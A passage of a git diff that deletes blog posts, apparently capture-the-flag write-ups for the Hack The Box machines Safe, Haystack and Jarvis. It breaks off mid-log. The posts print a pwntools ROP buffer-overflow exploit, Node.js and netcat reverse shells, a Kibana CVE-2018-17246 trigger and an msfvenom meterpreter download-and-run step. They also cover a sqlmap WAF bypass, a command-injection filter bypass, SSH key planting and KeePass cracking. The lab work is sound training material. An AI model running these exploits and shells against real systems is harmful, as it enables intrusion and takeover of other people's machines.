call it to execute a shell. The privesc was a breeze: there's a keepass file with a bunch of images in a directory. I simply loop through all the images until I find the right keyfile that I can use with John the Ripper to crack the password and recover the root password from the keepass file." -date: 2019-10-26 -classes: wide -header: - teaser: /assets/images/htb-writeup-safe/safe_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - binary exploit - - buffer overflow - - keepass ---- - -![](/assets/images/htb-writeup-safe/safe_logo.png) - -Safe was a bit of a surprise because I didn't expect a 20 points box to start with a buffer overflow requiring ropchains. The exploit is pretty straightforward since I have the memory address of the system function and I can call it to execute a shell. The privesc was a breeze: there's a keepass file with a bunch of images in a directory. I simply loop through all the images until I find the right keyfile that I can use with John the Ripper to crack the password and recover the root password from the keepass file. - -## Summary - -- I find a custom service running on port 1337 that has a buffer overflow -- I create an exploit using ROP for the vulnerable service and gain RCE -- Once I have a shell I find a KeePass vault with a bunch of image files -- I can crack the password for the KeePass vault (one of the image file is the keyfile) which contains the root password - -### Recon - -I'm going to use masscan this time to speed up the portscan: -``` -root@kali:~# masscan -p1-65535 10.10.10.147 --rate 1000 ---open --banners -e tun0 - -Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-29 01:13:24 GMT - -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth -Initiating SYN Stealth Scan -Scanning 1 hosts [65535 ports/host] -Discovered open port 1337/tcp on 10.10.10.147 -Discovered open port 80/tcp on 10.10.10.147 -Discovered open port 22/tcp on 10.10.10.147 -``` - -Additional scripts and banner checks with nmap now that I have the list of ports open: -``` -root@kali:~# nmap -p22,80,1337 -sC -sV 10.10.10.147 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-28 21:17 EDT -Nmap scan report for 10.10.10.147 -Host is up (0.021s latency). - -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) -| ssh-hostkey: -| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA) -| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA) -|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519) -80/tcp open http Apache httpd 2.4.25 ((Debian)) -|_http-server-header: Apache/2.4.25 (Debian) -|_http-title: Apache2 Debian Default Page: It works -1337/tcp open waste? -| fingerprint-strings: -| DNSStatusRequestTCP: -| 21:14:29 up 5:00, 1 user, load average: 0.01, 0.01, 0.00 -[...] -``` - -Observations: - - - Standard SSH and Apache combo running. I'll make sure to enumerate that HTTP page next. - - There's a weird service running on port 1337. This is not a standard port so I'm probably looking at a custom service created for the purpose of this box. - -### First pass at checking the Apache service - -Looks like the default Debian Apache2 webpage is up on port 80. - -![](/assets/images/htb-writeup-safe/httpd.png) - -I get the same default page if I add `safe.htb` to my local hostfile. Next, I'll run Nikto to check for low hanging fruits like `robots.txt` and dirbust using gobuster and `big.txt`: - -``` -root@kali:~# nikto -host 10.10.10.147 -- Nikto v2.1.6 ---------------------------------------------------------------------------- -+ Target IP: 10.10.10.147 -+ Target Hostname: 10.10.10.147 -+ Target Port: 80 -+ Start Time: 2019-07-28 21:22:32 (GMT-4) ---------------------------------------------------------------------------- -+ Server: Apache/2.4.25 (Debian) -+ The anti-clickjacking X-Frame-Options header is not present. -+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS -+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type -+ No CGI Directories found (use '-C all' to force check all possible dirs) -+ Server may leak inodes via ETags, header found with file /, inode: 2a23, size: 588c4cc4e54b5, mtime: gzip -+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. -+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS -+ OSVDB-3092: /manual/: Web server manual found. -[...] - -root@kali:~# gobuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -u http://10.10.10.147 -=============================================================== -Gobuster v3.0.1 -by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) -=============================================================== -[+] Url: http://10.10.10.147 -[+] Threads: 10 -[+] Wordlist: /opt/SecLists/Discovery/Web-Content/big.txt -[+] Status codes: 200,204,301,302,307,401,403 -[+] User Agent: gobuster/3.0.1 -[+] Timeout: 10s -=============================================================== -2019/07/28 21:22:53 Starting gobuster -=============================================================== -/.htaccess (Status: 403) -/.htpasswd (Status: 403) -/manual (Status: 301) -/server-status (Status: 403) -``` - -I didn't find anything interesting. I'll go check out that other port 1337 but I keep in mind that I should fuzz for additional vhosts later if I don't find anything else. - -### Custom service on port 1337 - -The service on port 1337 shows the output of uptime then echoes back whatever is typed by the user. The connection drops after the input is echoed back. - -![](/assets/images/htb-writeup-safe/bof1.png) - -I normally go for simple command injection payloads first and since this is a 20 points this is a likely candidate for that sort of stuff. Unfortunately, the box doesn't seem to be calling echo or any other Linux binary to echo the input back. I wasn't able to escape any payload. - -Next, I try a long string of characters and see that the connection drops without echoing back the data. - -![](/assets/images/htb-writeup-safe/bof2.png) - -So I'm probably looking at a buffer overflow exploit here. I don't have the binary to analyze and I don't know how to exploit a service blind. The service doesn't leak any memory data when it crashes, nor do I see any menu or commands that I can use to access additional features. - -I'll go back to the webpage and look for clues in the HTML comments. It's not realistic at all but I find a link to the binary in the comments: - -![](/assets/images/htb-writeup-safe/link.png) - -I can download the file at `http://10.10.10.147/myapp` - -It's a 64 bits ELF: - -![](/assets/images/htb-writeup-safe/file.png) - -With gdb and the gef extension, I check what kind of protections are enabled and notice that NX is enabled but PIE isn't: - -![](/assets/images/htb-writeup-safe/checksec.png) - -I don't know if ASLR is enabled or not on the box though. Time to disassemble the binary and understand how the program works. I'll use radare2 for this: - -![](/assets/images/htb-writeup-safe/radare2.png) - -The `sym.test` and `sym.main` are the ones I'm gonna look at first: - -The `sym.main` function is pretty straighforward: - -- It allocates 112 bytes on the stack -- It executes `/usr/bin/uptime` -- It prints `What do you want me to echo back?` -- It reads 1000 bytes from the user using `gets`. This is where the buffer overflow is: it reads more information than the buffer allocated on the stack can store. -- It echoes back the user input using `puts` - -![](/assets/images/htb-writeup-safe/main.png) - -The other function `sym.test` doesn't do anything useful at first glance: it just moves a few registers and jumps to the memory address contained in the r13 register. Normally, functions return with `ret` instruction but this one doesn't, very odd. - -![](/assets/images/htb-writeup-safe/test.png) - -Before working on an exploit, I want to confirm the exact offset for the overflow. - -I'll generate a payload of 112 A's (as per the disassembly analysis) + 8 bytes containing B. If I'm right, the B's will land into RBP after the function returns. - -![](/assets/images/htb-writeup-safe/offset1.png) - -When I copy/paste the payload in the program, it crashes and I can see the $rbp register contains "BBBBBBBB". - -![](/assets/images/htb-writeup-safe/offset2.png) - -This confirms that the offset to control RIP is 112 + 8: 120 bytes. - -### Building the exploit - -I can't just put a shellcode on the stack because NX is enabled so the stack isn't executable. This is a 20 points box so the exploit is likely something pretty basic and won't require advanced ropping skills. - -I have few things I can use to my advantage: - -- The input uses the `gets` function and it doesn't null-terminates so I can use null bytes in my payload -- The `system` function is present in the code so there's a PLT/GOT entry for this -- PIE isn't enabled so the address for `system` doesn't change - -Using `objdump` I can find the address for `system`: 0x401040 -``` -root@kali:~/htb/machines/safe# objdump -d myapp - -0000000000401040 : - 401040: ff 25 da 2f 00 00 jmpq *0x2fda(%rip) # 404020 - 401046: 68 01 00 00 00 pushq $0x1 - 40104b: e9 d0 ff ff ff jmpq 401020 <.plt> -``` - -Checking the man page for `system`, I see that it takes a single parameter: - -``` -NAME - system - execute a shell command - -SYNOPSIS - #include - - int system(const char *command); -``` - -The x86-64 calling convention for gcc compiled binaries is RDI, RSI, RDX, RCX for the first four function arguments. To control the binary called by system, I need to point RDI to the memory address of the `/bin/sh` string. I'll switch back to gdb / gef to build the exploit. - -I'll put a breakpoint on the return instruction from the main function and check what the RDI register is pointing to: - -![](/assets/images/htb-writeup-safe/ret1.png) - -RDI has a null-value so it doesn't point to a memory location I control and therefore is useless at the moment. - -Next, I'm gonna use `ropper -f myapp` to look for gadgets I can use to control registers: - -![](/assets/images/htb-writeup-safe/ropper.png) - -I'll use the gadget at `0x401206` to put the address of `system` into `r13`. I don't care about `r14` and `r15` so I can put any dummy values here. The trick to get the address of `/bin/sh` is in the `sym.test` function. The first instruction pushes `rbp` (which contains the address of `/bin/sh`) on the stack so it updates the `rsp` address. The `mov rdi, rsp` instruction in the fonction takes care of copying the address of `rsp` into `rdi`. At that point I'm all set and when the function jumps to `r13` it will execute `system` with `/bin/sh` as the parameter. - -The final exploit looks like this: - -```python -from pwn import * - -p = remote("safe.htb", 1337) -#p = process("./myapp") - -context(os="linux", arch="amd64") -context.log_level = "DEBUG" - -JUNK = "A" * 112 -JUNK += "/bin/sh\x00" # RBP - -""" -ROP chain to populate r13 with system()'s address: - -0x0000000000401206: pop r13; pop r14; pop r15; ret; - -sym.test() -> Need to JMP to address of system at the end - (fcn) sym.test 10 - sym.test (); - 0x00401152 55 push rbp - 0x00401153 4889e5 mov rbp, rsp - 0x00401156 4889e7 mov rdi, rsp - 0x00401159 41ffe5 jmp r13 -""" - -payload = JUNK + p64(0x0000000000401206) # ROP chain gadget -payload += p64(0x401040) # pop r13 -payload += "BBBBBBBB" # pop r14 -payload += "CCCCCCCC" # pop r15 -payload += p64(0x00401152) # sym.test - -p.recvline() -p.sendline(payload) -p.interactive() -``` - -Running the exploit, I'm able to land a shell on the box: - -![](/assets/images/htb-writeup-safe/user.png) - -Because the SSH service is listening, I can dump my SSH public key in `/home/user/.ssh/authorized_keys`: - -![](/assets/images/htb-writeup-safe/keys.png) - -And then I can SSH in and get a proper shell: - -![](/assets/images/htb-writeup-safe/shell.png) - -### Privesc - -The user directory has a keepass file: `MyPasswords.kdbx` and a bunch of image files: - -![](/assets/images/htb-writeup-safe/dir.png) - -I'll copy those files locally so I can attempt to crack the Keepass file: - -![](/assets/images/htb-writeup-safe/scp.png) - -I can't crack the Keepass file just by itself: - -![](/assets/images/htb-writeup-safe/keepass1.png) - -But I'm gonna try all those .jpg files as keyfiles: - -![](/assets/images/htb-writeup-safe/crack.png) - -IMG_0547.JPG is the keyfile and `bullshit` is the password - -Using `kpcli` I can open the Keepass file and view the password for root: - -![](/assets/images/htb-writeup-safe/password.png) - -I can login and `su` to root: - -![](/assets/images/htb-writeup-safe/root.png) - - diff --git a/_posts/2019-11-02-htb-writeup-haystack.md b/_posts/2019-11-02-htb-writeup-haystack.md deleted file mode 100644 index bedc5fd2b1..0000000000 --- a/_posts/2019-11-02-htb-writeup-haystack.md +++ /dev/null @@ -1,287 +0,0 @@ ---- -layout: single -title: Haystack - Hack The Box -excerpt: "Haystack is an easy ctf-like box where the initial credentials can be found hidden in an ElasticSearch database. Knowing some ES API syntax it's very easy to retrieve the credentials then get an SSH shell. After exploiting CVE-2018-17246 in Kibana, I get another shell with user kibana who has read access on the configuration for logstash which is running as root. The logstash configuration will run as root any command placed in a specific logstash directory/file so once I figured that out it was easy to get a root shell." -date: 2019-11-02 -classes: wide -header: - teaser: /assets/images/htb-writeup-haystack/haystack_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - elasticsearch - - easy - - ctf-like - - logstash - - kibana - - CVE-2018-17246 ---- - -![](/assets/images/htb-writeup-haystack/haystack_logo.png) - -Haystack is an easy ctf-like box where the initial credentials can be found hidden in an ElasticSearch database. Knowing some ES API syntax it's very easy to retrieve the credentials then get an SSH shell. After exploiting CVE-2018-17246 in Kibana, I get another shell with user kibana who has read access on the configuration for logstash which is running as root. The logstash configuration will run as root any command placed in a specific logstash directory/file so once I figured that out it was easy to get a root shell. - -## Summary - - - The SSH password for user security can be found in the ElasticSearch database which is publicly accessible - - A vulnerability exists in Kibana (CVE-2018-17246) which let us get RCE and land a shell as user kibana - - Logstash is configured to root as root and will run commands we specify in a specific log file - -### Portscan - -``` -# nmap -sC -sV -p- 10.10.10.115 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 13:28 EDT -Nmap scan report for haystack.htb (10.10.10.115) -Host is up (0.018s latency). -Not shown: 65532 filtered ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.4 (protocol 2.0) -| ssh-hostkey: -| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA) -| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA) -|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519) -80/tcp open http nginx 1.12.2 -|_http-server-header: nginx/1.12.2 -|_http-title: Site doesn't have a title (text/html). -9200/tcp open http nginx 1.12.2 -| http-methods: -|_ Potentially risky methods: DELETE -|_http-server-header: nginx/1.12.2 -|_http-title: Site doesn't have a title (application/json; charset=UTF-8). - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 311.13 seconds -``` - -### Webpage - -The webpage just has an image of a needle in a haystack. - -![](/assets/images/htb-writeup-haystack/needle.png) - -I ran gobuster but didn't find anything else on the site. - -The image doesn have something hidden in it. I ran strings and found some base64 at the end. - -``` -# strings needle.jpg | tail -n 1 -bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== -``` - -``` -# strings needle.jpg | tail -n 1 | base64 -d -la aguja en el pajar es "clave" -``` - -I don't know spanish so I translated it with Google Translate: `the needle in the haystack is "key"` - -### ElasticSearch - -Port 9200 is a well-known port for the ElasticSearch database. When I do a GET on / I see that it's running verison 6.4.2: - -![](/assets/images/htb-writeup-haystack/es1.png) - -I can retrieve the list of indices with the `_cat/indices` API call: - -![](/assets/images/htb-writeup-haystack/es2.png) - -There are two user created indices: `quotes` and `bank` - -To retrieve the content of the index, I use the `/bank/_search` API call: - -![](/assets/images/htb-writeup-haystack/es3.png) - -By default, it only returns 10 records. To get the full list we can increase the size with `/bank/_search?size=1000`. - -I didn't find anything interesting in the `bank` index. It just has bank records but no useful information. - -The `quotes` index contains a bunch of quotes in spanish but a few records have base64 encoded data in them: - -`"quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="` -`"quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg"` - -The base64 above is: - -``` -user: security -pass: spanish.is.key -``` - -I can SSH in with the credentials above and get the user flag: - -``` -[security@haystack ~]$ id -uid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 -[security@haystack ~]$ ls -user.txt -[security@haystack ~]$ cat user.txt -04d18b... -``` - -### Getting access to user kibana - -The box has the full ELK stack installed (ElasticSearch, Logstash and Kibana): - -- Port 9200 is ES -- Port 9600 is logstash -- Port 5601 is Kibana - -``` -[security@haystack ~]$ ss -ln -[...] -tcp LISTEN 0 128 *:80 -tcp LISTEN 0 128 *:9200 -tcp LISTEN 0 128 *:22 -tcp LISTEN 0 128 127.0.0.1:5601 -tcp LISTEN 0 128 ::ffff:127.0.0.1:9000 -tcp LISTEN 0 128 :::80 -tcp LISTEN 0 128 ::ffff:127.0.0.1:9300 -tcp LISTEN 0 128 :::22 -tcp LISTEN 0 50 ::ffff:127.0.0.1:9600 -``` - -I can see that Kibana is running as user `kibana`: - -``` -kibana 6370 1.9 5.3 1345840 206188 ? Ssl 09:24 0:22 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/kibana/bin/../src/cli -c /etc/kibana/kibana.yml -``` - -Logstash is running as `root`: - -``` -root 6371 11.6 12.4 2733400 480372 ? SNsl 09:24 2:15 /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash -``` - -ElasticSearch is running as `elasticsearch`: - -``` -elastic+ 6960 7.1 34.4 3319312 1330936 ? Ssl 09:24 1:21 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+AlwaysPreTouch -Xss1m -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djna.nosys=true -XX:-OmitStackTraceInFastThrow -Dio.netty.noUnsafe=true -Dio.netty.noKeySetOptimization=true -Dio.netty.recycler.maxCapacityPerThread=0 -Dlog4j.shutdownHookEnabled=false -Dlog4j2.disable.jmx=true -Djava.io.tmpdir=/tmp/elasticsearch.nDIY3AAQ -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/elasticsearch -XX:ErrorFile=/var/log/elasticsearch/hs_err_pid%p.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -Xloggc:/var/log/elasticsearch/gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=32 -XX:GCLogFileSize=64m -Des.path.home=/usr/share/elasticsearch -Des.path.conf=/etc/elasticsearch -Des.distribution.flavor=default -Des.distribution.type=rpm -cp /usr/share/elasticsearch/lib/* org.elasticsearch.bootstrap.Elasticsearch -p /var/run/elasticsearch/elasticsearch.pid --quiet -``` - -Logstash and Kibaba are only listening on localhost. To access the ports from my box I set up SSH local port forwarding: `# ssh -L 5601:127.0.0.1:5601 -L 9600:127.0.0.1:9600 security@10.10.10.115` - -Kibana is running version `Version: 6.4.2`: - -![](/assets/images/htb-writeup-haystack/es4.png) - -There's an LFI CVE in Kibana for that version which let us execute Javascript code. - -[https://github.com/mpgn/CVE-2018-17246](https://github.com/mpgn/CVE-2018-17246) - -I created `/tmp/shell.js` with a standard reverse shell: - -```js -(function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(4444, "10.10.14.12", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing -})(); -``` - -I then triggered my payload with `curl "http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js"` - -A got a callback soon after: - -``` -# nc -lvnp 4444 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::4444 -Ncat: Listening on 0.0.0.0:4444 -Ncat: Connection from 10.10.10.115. -Ncat: Connection from 10.10.10.115:47552. -id -uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0 -python -c 'import pty;pty.spawn("/bin/bash")' -bash-4.2$ -``` - -### Privesc - -I saw earlier that logstash is running as root and with user `kibana` I have access to the configuration files in `/etc/logstash/conf.d`: - -``` -bash-4.2$ ls -l -total 12 --rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf --rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf --rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf -bash-4.2$ cat * -filter { - if [type] == "execute" { - grok { - match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } - } - } -} -input { - file { - path => "/opt/kibana/logstash_*" - start_position => "beginning" - sincedb_path => "/dev/null" - stat_interval => "10 second" - type => "execute" - mode => "read" - } -} -output { - if [type] == "execute" { - stdout { codec => json } - exec { - command => "%{comando} &" - } - } -} -``` - -Logstash has filters configured to execute commands put in `/opt/kibana/logstash_*` where the message contains `Ejecutar comando : ` followed by a command. - -I created a meterpreter binary payload: - -``` -ragingunicorn:~/htb/haystack# msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o met LHOST=10.10.14.12 LPORT=5555 -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x64 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 129 bytes -Final size of elf file: 249 bytes -Saved as: met -root@ragingunicorn:~/htb/haystack# python -m SimpleHTTPServer 80 -Serving HTTP on 0.0.0.0 port 80 ... -``` - -Then transfered it to the box: - -``` -bash-4.2$ curl -o /tmp/met http://10.10.14.12/met && chmod 777 /tmp/met - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed -100 249 100 249 0 0 6119 0 --:--:-- --:--:-- --:--:-- 6225 -``` - -Then I created the trigger file: - -``` -bash-4.2$ echo "/tmp/met" > /opt/kibana/logstash_1 -``` - -I waited a few minutes then got a callback as root: - -``` -meterpreter > shell -Process 12972 created. -Channel 1 created. -cat /root/root.txt -3f5f72... -``` \ No newline at end of file diff --git a/_posts/2019-11-09-htb-writeup-jarvis.md b/_posts/2019-11-09-htb-writeup-jarvis.md deleted file mode 100644 index f7ffd7a39c..0000000000 --- a/_posts/2019-11-09-htb-writeup-jarvis.md +++ /dev/null @@ -1,251 +0,0 @@ ---- -layout: single -title: Jarvis - Hack The Box -excerpt: "The entrypoint for Jarvis is an SQL injection vulnerability in the web application to book hotel rooms. There is a WAF but I was able to easily get around it by lowering the amount of requests per second in sqlmap and changing the user-agent header. After landing a shell, I exploit a simple command injection to get access to another user then I use systemctl which has been set SUID root to create a new service and get root RCE." -date: 2019-11-09 -classes: wide -header: - teaser: /assets/images/htb-writeup-jarvis/jarvis_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - sqli - - sqlmap - - waf - - command injection - - suid - - systemd ---- - -![](/assets/images/htb-writeup-jarvis/jarvis_logo.png) - -The entrypoint for Jarvis is an SQL injection vulnerability in the web application to book hotel rooms. There is a WAF but I was able to easily get around it by lowering the amount of requests per second in sqlmap and changing the user-agent header. After landing a shell, I exploit a simple command injection to get access to another user then I use systemctl which has been set SUID root to create a new service and get root RCE. - -## Summary - -- There's a SQL injection vulnerability in the `room.php` code that can be used to dump the database and get RCE -- We can escalate from `www-data` to `pepper` user by command injection in the `simpler.py` script -- For privesc, the `systemctl` has been made SUID so we can just register a new service that spawns a reverse shell as root - -### Portscan - -``` -# nmap -sC -sV -p- 10.10.10.143 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-23 13:21 EDT -Nmap scan report for jarvis.htb (10.10.10.143) -Host is up (0.024s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) -| ssh-hostkey: -| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) -| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) -|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) -80/tcp open http Apache httpd 2.4.25 ((Debian)) -| http-cookie-flags: -| /: -| PHPSESSID: -|_ httponly flag not set -|_http-server-header: Apache/2.4.25 (Debian) -|_http-title: Stark Hotel -64999/tcp open http Apache httpd 2.4.25 ((Debian)) -|_http-server-header: Apache/2.4.25 (Debian) -|_http-title: Site doesn't have a title (text/html). -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Web enumeration on port 64999 - -The page on port 64999 displays a banned error message. This page is used whenever the protection mecanism is triggered on the box. Traffic to port 80 is redirected to port 64999 using iptables whenever an SQL injection is detected. - -![](/assets/images/htb-writeup-jarvis/3.png) - -### Web enumeration on port 80 - -On port 80 we have the webpage of Stark Hotel. - -![](/assets/images/htb-writeup-jarvis/1.png) - -There's a link that display the various rooms. - -![](/assets/images/htb-writeup-jarvis/2.png) - -I spidered the website with Burp and found a couple of PHP files. - -![](/assets/images/htb-writeup-jarvis/4.png) - -To book a room, the `room.php` file takes the `cod` parameter. The room ID is probably stored in a database so this is target for a potential SQL injection. - -### SQL injection - -I used sqlmap to scan for SQL injection points: - -`sqlmap -u http://jarvis.htb/room.php?cod=1 -p cod` - -![](/assets/images/htb-writeup-jarvis/sql1.png) - -I started getting 404 errors and got the `Hey you have been banned for 90 seconds, don't be bad` message when I tried browsing the site. There's some kind of WAF on the site that triggers when it's being scanned for SQL injections. - -There's an HTTP header in the response that confirms this: - -![](/assets/images/htb-writeup-jarvis/waf.png) - -To bypass the WAF, I changed the User-Agent header to a random header and added a delay when scanning with SQLmap: - -`sqlmap -u http://jarvis.htb/room.php?cod=1 -p cod --delay 2 --random-agent` - -![](/assets/images/htb-writeup-jarvis/sql2.png) - -sqlmap found 3 type of SQL injections - -- boolean-based blind -- time-based blind -- UNION query - -By default, sqlmap will use the union query since it's much faster than the other two. - -We easily get a shell using the `--os-pwn` option in sqlmap: - -`sqlmap -u http://jarvis.htb/room.php?cod=1 -p cod --delay 2 --random-agent --os-pwn` - -![](/assets/images/htb-writeup-jarvis/met1.png) - -![](/assets/images/htb-writeup-jarvis/met2.png) - -![](/assets/images/htb-writeup-jarvis/met3.png) - -### Escalating to user pepper - -`/var/www/Admin-Utilities` contains a `simpler.py` script that can be executed as user `pepper` through sudo: - -``` -www-data@jarvis:~/Admin-Utilities$ sudo -l -Matching Defaults entries for www-data on jarvis: - env_reset, mail_badpass, - secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin - -User www-data may run the following commands on jarvis: - (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py -``` - -The ping function contains a command injection vulnerability. Because it uses the `os.system` function to execute the ping, we can pass additional parameters to execute commands. - -```python -def exec_ping(): - forbidden = ['&', ';', '-', '`', '||', '|'] - command = input('Enter an IP: ') - for i in forbidden: - if i in command: - print('Got you') - exit() - os.system('ping ' + command) -``` - -There's a list of forbidden commands so we can't simply use the semi-colon or ampersand characters to inject commands but the `$()` characters are not filtered. - -I've created a small script that's execute a netcat reverse shell into `/dev/shm/shell.sh`: - -```sh -#!/bin/sh -nc -e /bin/bash 10.10.14.5 5555 -``` - -I can execute the script by injecting the following payload in `simpler.py`: - -``` -www-data@jarvis:~$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p -sudo -u pepper /var/www/Admin-Utilities/simpler.py -p -*********************************************** - _ _ - ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ -/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | -\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | -|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | - |_| |_| |___/ - @ironhackers.es - -*********************************************** - -Enter an IP: $(/dev/shm/shell.sh) -$(/dev/shm/shell.sh) -``` - -I now have a shell as `pepper`: - -``` -# nc -lvnp 5555 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::5555 -Ncat: Listening on 